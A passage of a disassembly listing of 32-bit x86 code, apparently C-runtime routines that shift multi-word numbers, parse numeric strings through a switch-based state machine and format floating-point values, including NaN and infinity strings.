		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41E9F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA1F	proc near		; CODE XREF: sub_41EFE4+1C8p
					; sub_41F4DC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41EA1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA4C	proc near		; CODE XREF: sub_41EB13+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41EAC0
		push	edi
		mov	[ebp+arg_8], eax


loc_41EA73:				; CODE XREF: sub_41EA4C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41E9F1
		push	ebx
		call	sub_41E9F1
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E993
		push	ebx
		call	sub_41E9F1
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E993
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41EA73
		xor	edx, edx
		pop	edi


loc_41EAC0:				; CODE XREF: sub_41EA4C+21j
					; sub_41EA4C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41EAED
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41EAC0
; ---------------------------------------------------------------------------


loc_41EAED:				; CODE XREF: sub_41EA4C+77j
		mov	esi, 8000h


loc_41EAF2:				; CODE XREF: sub_41EA4C+B9j
		test	[ebx+8], esi
		jnz	short loc_41EB07
		push	ebx
		call	sub_41E9F1
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41EAF2
; ---------------------------------------------------------------------------


loc_41EB07:				; CODE XREF: sub_41EA4C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41EA4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB13	proc near		; CODE XREF: sub_41DCEE+17p
					; sub_41DD1B+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41EB4E:				; CODE XREF: sub_41EB13+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41EB64
		cmp	cl, 9
		jz	short loc_41EB64
		cmp	cl, 0Ah
		jz	short loc_41EB64
		cmp	cl, 0Dh
		jnz	short loc_41EB67


loc_41EB64:				; CODE XREF: sub_41EB13+40j
					; sub_41EB13+45j ...
		inc	edi
		jmp	short loc_41EB4E
; ---------------------------------------------------------------------------


loc_41EB67:				; CODE XREF: sub_41EB13+4Fj
		push	4
		pop	esi


loc_41EB6A:				; CODE XREF: sub_41EB13+AEj
					; sub_41EB13+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EDED	; default
					; jumptable 0041EB76 case 10
		jmp	ds:off_41EFB4[eax*4] ; switch jump


loc_41EB7D:				; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 0
		jl	short loc_41EB8E
		cmp	bl, 39h
		jg	short loc_41EB8E


loc_41EB87:				; CODE XREF: sub_41EB13+C4j
					; sub_41EB13+118j
		push	3
		jmp	loc_41EDAB
; ---------------------------------------------------------------------------


loc_41EB8E:				; CODE XREF: sub_41EB13+6Dj
					; sub_41EB13+72j
		cmp	bl, ds:byte_437F60
		jnz	short loc_41EB9D


loc_41EB96:				; CODE XREF: sub_41EB13+124j
		push	5
		jmp	loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EB9D:				; CODE XREF: sub_41EB13+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EBC3
		dec	eax
		dec	eax
		jz	short loc_41EBB7
		sub	eax, 3
		jnz	loc_41EE86
		jmp	loc_41EC46
; ---------------------------------------------------------------------------


loc_41EBB7:				; CODE XREF: sub_41EB13+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EBC3:				; CODE XREF: sub_41EB13+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EBCC:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41EBD9
		cmp	bl, 39h
		jle	short loc_41EB87


loc_41EBD9:				; CODE XREF: sub_41EB13+BFj
		cmp	bl, ds:byte_437F60
		jz	loc_41ECA1
		cmp	bl, 2Bh
		jz	short loc_41EC1B
		cmp	bl, 2Dh
		jz	short loc_41EC1B
		cmp	bl, 30h
		jz	short loc_41EC46


loc_41EBF4:				; CODE XREF: sub_41EB13+207j
		cmp	bl, 43h
		jle	loc_41EE86
		cmp	bl, 45h
		jle	short loc_41EC14
		cmp	bl, 63h
		jle	loc_41EE86
		cmp	bl, 65h
		jg	loc_41EE86


loc_41EC14:				; CODE XREF: sub_41EB13+EDj
		push	6
		jmp	loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EC1B:				; CODE XREF: sub_41EB13+D5j
					; sub_41EB13+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41EDE3
; ---------------------------------------------------------------------------


loc_41EC23:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 2
		jl	short loc_41EC31
		cmp	bl, 39h
		jle	loc_41EB87


loc_41EC31:				; CODE XREF: sub_41EB13+113j
		cmp	bl, ds:byte_437F60
		jz	loc_41EB96
		cmp	bl, 30h
		jnz	loc_41EDFB


loc_41EC46:				; CODE XREF: sub_41EB13+9Fj
					; sub_41EB13+DFj
		mov	eax, edx
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EC4D:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		mov	[ebp+var_10], edx ; jumptable 0041EB76 case 3


loc_41EC50:				; CODE XREF: sub_41EB13+184j
		cmp	ds:dword_437F5C, edx
		jle	short loc_41EC69
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41EC77
; ---------------------------------------------------------------------------


loc_41EC69:				; CODE XREF: sub_41EB13+143j
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41EC77:				; CODE XREF: sub_41EB13+154j
		test	eax, eax
		jz	short loc_41EC99
		cmp	[ebp+var_4], 19h
		jnb	short loc_41EC91
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41EC94
; ---------------------------------------------------------------------------


loc_41EC91:				; CODE XREF: sub_41EB13+16Cj
		inc	[ebp+var_8]


loc_41EC94:				; CODE XREF: sub_41EB13+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EC50
; ---------------------------------------------------------------------------


loc_41EC99:				; CODE XREF: sub_41EB13+166j
		cmp	bl, ds:byte_437F60
		jnz	short loc_41ED08


loc_41ECA1:				; CODE XREF: sub_41EB13+CCj
		mov	eax, esi
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41ECA8:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	[ebp+var_4], 0	; jumptable 0041EB76 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41ECC1


loc_41ECB4:				; CODE XREF: sub_41EB13+1ACj
		cmp	bl, 30h
		jnz	short loc_41ECC1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECB4
; ---------------------------------------------------------------------------


loc_41ECC1:				; CODE XREF: sub_41EB13+19Fj
					; sub_41EB13+1A4j ...
		cmp	ds:dword_437F5C, edx
		jle	short loc_41ECDA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ECE8
; ---------------------------------------------------------------------------


loc_41ECDA:				; CODE XREF: sub_41EB13+1B4j
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ECE8:				; CODE XREF: sub_41EB13+1C5j
		test	eax, eax
		jz	short loc_41ED08
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ED03
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41ED03:				; CODE XREF: sub_41EB13+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECC1
; ---------------------------------------------------------------------------


loc_41ED08:				; CODE XREF: sub_41EB13+18Cj
					; sub_41EB13+1D7j
		cmp	bl, 2Bh
		jz	loc_41EC1B
		cmp	bl, 2Dh
		jz	loc_41EC1B
		jmp	loc_41EBF4
; ---------------------------------------------------------------------------


loc_41ED1F:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	ds:dword_437F5C, edx ; jumptable 0041EB76 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41ED3B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED49
; ---------------------------------------------------------------------------


loc_41ED3B:				; CODE XREF: sub_41EB13+215j
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ED49:				; CODE XREF: sub_41EB13+226j
		test	eax, eax
		jz	loc_41EDFB
		mov	eax, esi
		jmp	short loc_41EDAC
; ---------------------------------------------------------------------------


loc_41ED55:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		lea	ecx, [edi-2]	; jumptable 0041EB76 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41ED65
		cmp	bl, 39h
		jle	short loc_41EDA9


loc_41ED65:				; CODE XREF: sub_41EB13+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EDE1
		dec	eax
		dec	eax
		jz	short loc_41EDD5
		sub	eax, 3
		jnz	loc_41EE89


loc_41ED7A:				; CODE XREF: sub_41EB13+2A4j
		push	8
		jmp	short loc_41EDE3
; ---------------------------------------------------------------------------


loc_41ED7E:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		mov	[ebp+var_20], edx ; jumptable 0041EB76 case 8


loc_41ED81:				; CODE XREF: sub_41EB13+276j
		cmp	bl, 30h
		jnz	short loc_41ED8B
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ED81
; ---------------------------------------------------------------------------


loc_41ED8B:				; CODE XREF: sub_41EB13+271j
		cmp	bl, 31h
		jl	loc_41EE86
		cmp	bl, 39h
		jg	loc_41EE86
		jmp	short loc_41EDA9
; ---------------------------------------------------------------------------


loc_41ED9F:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	bl, 31h		; jumptable 0041EB76 case 7
		jl	short loc_41EDB2
		cmp	bl, 39h
		jg	short loc_41EDB2


loc_41EDA9:				; CODE XREF: sub_41EB13+250j
					; sub_41EB13+28Aj
		push	9


loc_41EDAB:				; CODE XREF: sub_41EB13+76j
		pop	eax


loc_41EDAC:				; CODE XREF: sub_41EB13+240j
		dec	edi
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDB2:				; CODE XREF: sub_41EB13+28Fj
					; sub_41EB13+294j
		cmp	bl, 30h
		jnz	short loc_41EDFB
		jmp	short loc_41ED7A
; ---------------------------------------------------------------------------


loc_41EDB9:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		cmp	[ebp+arg_18], 0	; jumptable 0041EB76 case 11
		jz	short loc_41EDE9
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41EDE1
		dec	eax
		dec	eax
		jnz	loc_41EE89


loc_41EDD5:				; CODE XREF: sub_41EB13+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDE1:				; CODE XREF: sub_41EB13+258j
					; sub_41EB13+2B8j
		push	7


loc_41EDE3:				; CODE XREF: sub_41EB13+85j
					; sub_41EB13+103j ...
		pop	eax
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDE9:				; CODE XREF: sub_41EB13+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41EDED:				; CODE XREF: sub_41EB13+5Dj
					; sub_41EB13+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041EB76 case 10
		jz	loc_41EE8B
		jmp	loc_41EB6A
; ---------------------------------------------------------------------------


loc_41EDFB:				; CODE XREF: sub_41EB13+12Dj
					; sub_41EB13+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41EE8B
; ---------------------------------------------------------------------------


loc_41EE03:				; CODE XREF: sub_41EB13+63j
					; DATA XREF: seg000:off_41EFB4o
		mov	[ebp+var_20], 1	; jumptable 0041EB76 case 9
		xor	esi, esi


loc_41EE0C:				; CODE XREF: sub_41EB13+339j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41EE24
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41EE33
; ---------------------------------------------------------------------------


loc_41EE24:				; CODE XREF: sub_41EB13+300j
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE33:				; CODE XREF: sub_41EB13+30Fj
		test	eax, eax
		jz	short loc_41EE53
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EE4E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE0C
; ---------------------------------------------------------------------------


loc_41EE4E:				; CODE XREF: sub_41EB13+334j
		mov	esi, 1451h


loc_41EE53:				; CODE XREF: sub_41EB13+322j
		mov	[ebp+var_1C], esi


loc_41EE56:				; CODE XREF: sub_41EB13+371j
		cmp	ds:dword_437F5C, 1
		jle	short loc_41EE6E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418536
		pop	ecx
		pop	ecx
		jmp	short loc_41EE7D
; ---------------------------------------------------------------------------


loc_41EE6E:				; CODE XREF: sub_41EB13+34Aj
		mov	ecx, ds:off_437D50
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE7D:				; CODE XREF: sub_41EB13+359j
		test	eax, eax
		jz	short loc_41EE86
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE56
; ---------------------------------------------------------------------------


loc_41EE86:				; CODE XREF: sub_41EB13+99j
					; sub_41EB13+E4j ...
		dec	edi
		jmp	short loc_41EE8B
; ---------------------------------------------------------------------------


loc_41EE89:				; CODE XREF: sub_41EB13+261j
					; sub_41EB13+2BCj
		mov	edi, ecx


loc_41EE8B:				; CODE XREF: sub_41EB13+2DDj
					; sub_41EB13+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41EF73
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41EEB7
		cmp	[ebp+var_45], 5
		jl	short loc_41EEAB
		inc	[ebp+var_45]


loc_41EEAB:				; CODE XREF: sub_41EB13+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41EEBA
; ---------------------------------------------------------------------------


loc_41EEB7:				; CODE XREF: sub_41EB13+38Dj
		mov	eax, [ebp+var_C]


loc_41EEBA:				; CODE XREF: sub_41EB13+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41EF69


loc_41EEC4:				; CODE XREF: sub_41EB13+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41EED2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41EEC4
; ---------------------------------------------------------------------------


loc_41EED2:				; CODE XREF: sub_41EB13+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41EA4C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41EEF1
		neg	eax


loc_41EEF1:				; CODE XREF: sub_41EB13+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41EEFC
		add	eax, [ebp+arg_10]


loc_41EEFC:				; CODE XREF: sub_41EB13+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41EF04
		sub	eax, [ebp+arg_14]


loc_41EF04:				; CODE XREF: sub_41EB13+3ECj
		cmp	eax, 1450h
		jle	short loc_41EF3B
		mov	[ebp+var_2C], 1


loc_41EF12:				; CODE XREF: sub_41EB13+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41EF1E:				; CODE XREF: sub_41EB13+454j
					; sub_41EB13+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41EF84
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41EF99
; ---------------------------------------------------------------------------


loc_41EF3B:				; CODE XREF: sub_41EB13+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41EF4B
		mov	[ebp+var_30], 1
		jmp	short loc_41EF12
; ---------------------------------------------------------------------------


loc_41EF4B:				; CODE XREF: sub_41EB13+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F6FC
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41EF1E
; ---------------------------------------------------------------------------


loc_41EF69:				; CODE XREF: sub_41EB13+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41EF1E
; ---------------------------------------------------------------------------


loc_41EF73:				; CODE XREF: sub_41EB13+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41EF99
; ---------------------------------------------------------------------------


loc_41EF84:				; CODE XREF: sub_41EB13+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41EF99
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41EF99:				; CODE XREF: sub_41EB13+426j
					; sub_41EB13+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41EB13	endp

; ---------------------------------------------------------------------------
off_41EFB4	dd offset loc_41EB7D	; DATA XREF: sub_41EB13+63r
		dd offset loc_41EBCC	; jump table for switch	statement
		dd offset loc_41EC23
		dd offset loc_41EC4D
		dd offset loc_41ECA8
		dd offset loc_41ED1F
		dd offset loc_41ED55
		dd offset loc_41ED9F
		dd offset loc_41ED7E
		dd offset loc_41EE03
		dd offset loc_41EDED
		dd offset loc_41EDB9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFE4	proc near		; CODE XREF: sub_41DDBF+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F046
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F04A
; ---------------------------------------------------------------------------


loc_41F046:				; CODE XREF: sub_41EFE4+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F04A:				; CODE XREF: sub_41EFE4+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F070
		test	edi, edi
		jnz	short loc_41F070
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F070


loc_41F05B:				; CODE XREF: sub_41EFE4+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F26E
; ---------------------------------------------------------------------------


loc_41F070:				; CODE XREF: sub_41EFE4+6Cj
					; sub_41EFE4+70j ...
		cmp	dx, si
		jnz	short loc_41F0EF
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F089
		cmp	[ebp+arg_0], 0
		jz	short loc_41F098


loc_41F089:				; CODE XREF: sub_41EFE4+9Dj
		test	edi, 40000000h
		jnz	short loc_41F098
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F0DE
; ---------------------------------------------------------------------------


loc_41F098:				; CODE XREF: sub_41EFE4+A3j
					; sub_41EFE4+ABj
		test	cx, cx
		jz	short loc_41F0B2
		cmp	edi, 0C0000000h
		jnz	short loc_41F0B2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0D9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F0C1
; ---------------------------------------------------------------------------


loc_41F0B2:				; CODE XREF: sub_41EFE4+B7j
					; sub_41EFE4+BFj
		cmp	edi, eax
		jnz	short loc_41F0D9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0D9
		push	offset a1Inf	; "1#INF"


loc_41F0C1:				; CODE XREF: sub_41EFE4+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415BE0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F0D0:				; CODE XREF: sub_41EFE4+109j
		and	[ebp+var_4], 0
		jmp	loc_41F247
; ---------------------------------------------------------------------------


loc_41F0D9:				; CODE XREF: sub_41EFE4+C5j
					; sub_41EFE4+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F0DE:				; CODE XREF: sub_41EFE4+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415BE0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F0D0
; ---------------------------------------------------------------------------


loc_41F0EF:				; CODE XREF: sub_41EFE4+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F6FC
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F150
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4DC
		pop	ecx
		pop	ecx


loc_41F150:				; CODE XREF: sub_41EFE4+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F16A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F16D
		jmp	loc_41F05B
; ---------------------------------------------------------------------------


loc_41F16A:				; CODE XREF: sub_41EFE4+173j
		mov	edi, [ebp+arg_C]


loc_41F16D:				; CODE XREF: sub_41EFE4+17Fj
		cmp	edi, 15h
		jle	short loc_41F175
		push	15h
		pop	edi


loc_41F175:				; CODE XREF: sub_41EFE4+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_41F18B:				; CODE XREF: sub_41EFE4+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41E9F1
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F18B
		test	esi, esi
		jge	short loc_41F1B5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F1B5


loc_41F1A8:				; CODE XREF: sub_41EFE4+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA1F
		dec	esi
		pop	ecx
		jnz	short loc_41F1A8


loc_41F1B5:				; CODE XREF: sub_41EFE4+1B8j
					; sub_41EFE4+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_41F212
		mov	[ebp+arg_C], ecx


loc_41F1C5:				; CODE XREF: sub_41EFE4+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41E9F1
